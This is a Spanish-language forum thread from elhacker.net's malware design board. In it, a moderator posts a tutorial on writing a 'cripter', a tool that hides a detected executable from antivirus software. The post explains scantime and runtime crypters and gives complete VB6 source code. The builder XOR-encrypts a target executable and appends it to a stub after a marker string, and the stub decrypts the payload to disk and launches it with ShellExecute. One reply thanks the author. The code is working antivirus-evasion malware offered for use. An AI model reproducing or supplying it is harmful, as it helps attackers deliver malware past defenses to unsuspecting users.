elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  [Tutorial] programando un cripter en VB6.
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Tutorial] programando un cripter en VB6.  (Leído 3,767 veces)
fary
Moderador
***
Desconectado Desconectado

Mensajes: 1.062



Ver Perfil WWW
[Tutorial] programando un cripter en VB6.
« en: 13 Marzo 2016, 09:48 am »

¿Que es un cripter?

Es un malware que hace indetectable un ejecutable.  
Básicamente lo que hace es guardar cifrados los datos del ejecutable detectado, haciendo invisible el archivo para los AV. Una vez que se ejecute el archivo cifrado el programa lo descifra y ejecuta.

Tipos de cripters.

Existen dos tipos:

-Scantime: El programa que queremos proteger al descifrarlo se guarda en disco para ejecutarlo.
-Runtime: el programa que estamos protegiendo se ejecuta en memoria sin guardarlo en el disco.

Funcionamiento del cripter.

Esto puede parecer complejo al principio pero es muy simple. Para que un cripter funcione tenemos que tener dos archivos:

-Builder (o Creador): será  el que se encargara de cifrar el archivo que queremos proteger  y unirlo con el stub.
-Stub: es el ejecutable que descifra el archivo y lo ejecuta, osea el que protege el archivo haciendolo indetectable.

Teniendo claro que tenemos que tener esos dos archivos para que nuestro ejecutable funcione vamos a verlo mas despacio....

Paso 1: el builder lee el archivo que queremos proteger y cifra sus datos.
Paso 2: El builder lee el stub y coge sus datos
Paso 3: El builder genera un archivo exe con la siguiente estructura...
    STUB + "MARCA" + DATOS CIFRADOS
la "MARCA" sera lo que nos indique el final del stub y donde empiezan los datos que hay que descifrar y ejecutar.
Paso 4: Una vez que tenemos generado nuestro archivo protegido el stub se ejecuta, se lee a si mismo,  busca la "MARCA" y todos los datos que hay a partir de ahi los descifra y  los ejecuta.

Programando la teoría.

Primero programaremos el builder, el builder es generico, osea sirve para un cripter scantime o runtime, vemos el código comentado...


Código
  1. Option Explicit
  2.  
  3. Private Sub AbrirArchivo_Click() ' Boton con el que seleccionaremos el archivo ejecutable
  4.    With CD ' Objeto CommonDialog
  5.        .Filter = "Archivos ejecutables |*.exe" ' Le decimos que solo puedan seleccionar archivos ejecutables
  6.        .ShowOpen
  7.        Text1.Text = .FileName ' Guardamos el ejecutable que selecciono en el textbox1
  8.    End With
  9. End Sub
  10.  
  11. Private Sub Cifrar_Click() ' Boton que cifra y genera el archivo
  12.    Dim Datos As String
  13.    Dim DatosCifrados As String
  14.    Dim Stub As String
  15.  
  16.    Open Text1.Text For Binary As #1 ' Leemos el archivo que queremos cifrar
  17.        Datos = Space(LOF(1))
  18.        Get #1, , Datos
  19.    Close #1
  20.  
  21.    DatosCifrados = CifrarDatos(Datos) ' Ciframos los datos
  22.  
  23.    Open App.Path & "\Stub.exe" For Binary As #2 ' Leemos el stub
  24.        Stub = Space(LOF(2))
  25.        Get #2, , Stub
  26.    Close #2
  27.  
  28.    Open App.Path & "\Generado.exe" For Binary As #3 ' generamos el ejecutable final cifrado:
  29.        Put #3, , Stub ' Escribimos el stub
  30.        Put #3, , "FORO.ELHACKER.NET" ' Escribimos nuestra "MARCA"
  31.        Put #3, , DatosCifrados ' Escribimos los datos cifrados
  32.    Close #3
  33.  
  34.    MsgBox "Archivo cifrado" ' Terminamos de cifrar
  35. End Sub
  36.  
  37. Public Function CifrarDatos(Datos As String) As String ' Funcion que cifra los datos
  38.    Dim i As Integer
  39.    Dim Buffer As String
  40.  
  41.    For i = 1 To Len(Datos)
  42.        Buffer = Buffer & Chr(Asc(Mid(Datos, i, 1)) Xor 5)
  43.    Next i
  44.  
  45.    CifrarDatos = Buffer
  46. End Function

Ahora el stub (de un cripter scantime).

Código
  1. Option Explicit
  2. Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
  3.  
  4. Private Sub Form_Load()
  5.   Dim Misdatos As String
  6.   Dim cifrados As String
  7.   Dim Descifrados As String
  8.  
  9.   Open App.Path & "\Generado.exe" For Binary As #1 ' Nos leemos a nostros mismos
  10.       Misdatos = Space(LOF(1))
  11.       Get #1, , Misdatos
  12.   Close #1
  13.  
  14.   cifrados = Split(Misdatos, "FORO.ELHACKER.NET")(1) ' Obtenemos lo que hay a partis de la marca
  15.  
  16.   Descifrados = CifrarDatos(cifrados) ' Desciframos el ejecutable que teniamos guardados
  17.  
  18.   Open App.Path & "\Descifrado.exe" For Binary As #1 ' Generamos el ejecutable
  19.       Put #1, , Descifrados  ' NOTA: Normalmente se extrae el archivo en otra ruta, no en la ruta donde esta el ejecutbale cifrado.
  20.   Close #1
  21.  
  22.   Call ShellExecute(Me.hwnd, "Open", App.Path & "\Descifrado.exe", "", "", 1) ' Ejecutamos el ejecutable
  23. End Sub
  24.  
  25. Public Function CifrarDatos(Datos As String) As String ' Funcion que descifra los datos
  26.    Dim i As Integer
  27.    Dim Buffer As String
  28.  
  29.    For i = 1 To Len(Datos)
  30.        Buffer = Buffer & Chr(Asc(Mid(Datos, i, 1)) Xor 5)
  31.    Next i
  32.  
  33.    CifrarDatos = Buffer
  34. End Function
  35.  

Bién, ya tenemos programado nuestro primer cripter  ;-)



Ahora para hacerlo RunTime (Que son los que se usan normalmente) lo que tenemos que hacer es crear un RunPE, pero esto no se tratará en este tutorial. Para poder entender su funcionamiento podeis leer sobre el formato PE, aquí un tema con información al respecto:

http://foro.elhacker.net/analisis_y_diseno_de_malware/formato_pe-t446963.0.html

Espero que haya servido como guia a los que no tenian idea de como hacerlo, ahora tengan una base.

saludos.
« Última modificación: 13 Marzo 2016, 14:10 pm por fary » En línea

Un byte a la izquierda.
crack81

Desconectado Desconectado

Mensajes: 222



Ver Perfil
Re: [Tutorial] programando un cripter en VB6.
« Respuesta #1 en: 13 Marzo 2016, 22:33 pm »

Se agradece fary seguro a muchos les ayudara a entender el funcionamiento y no solo a copiar y pegar.
En línea

Si C/C++ es el padre de los lenguajes entonces ASM es dios.
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Tutorial]Programando un Joiner simple desde 0. « 1 2 »
Programación Visual Basic
Freeze. 19 5,691 Último mensaje 15 Septiembre 2007, 20:52 pm
por -Lozano-
Codeando MD5 Decripter/Cripter online
PHP
& eDu & 1 2,299 Último mensaje 23 Diciembre 2008, 06:17 am
por WHK
Programando Crypter Scan-Time en C [Video tutorial]
Análisis y Diseño de Malware
afdlkglfgfdgfhgf 0 2,888 Último mensaje 27 Julio 2010, 05:55 am
por afdlkglfgfdgfhgf
cripter
Programación C/C++
mapers 0 2,319 Último mensaje 10 Septiembre 2010, 17:45 pm
por mapers
duda filezilla FTP con cripter
Análisis y Diseño de Malware
marcelo2009 1 2,001 Último mensaje 18 Noviembre 2011, 03:08 am
por marcelo2009
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines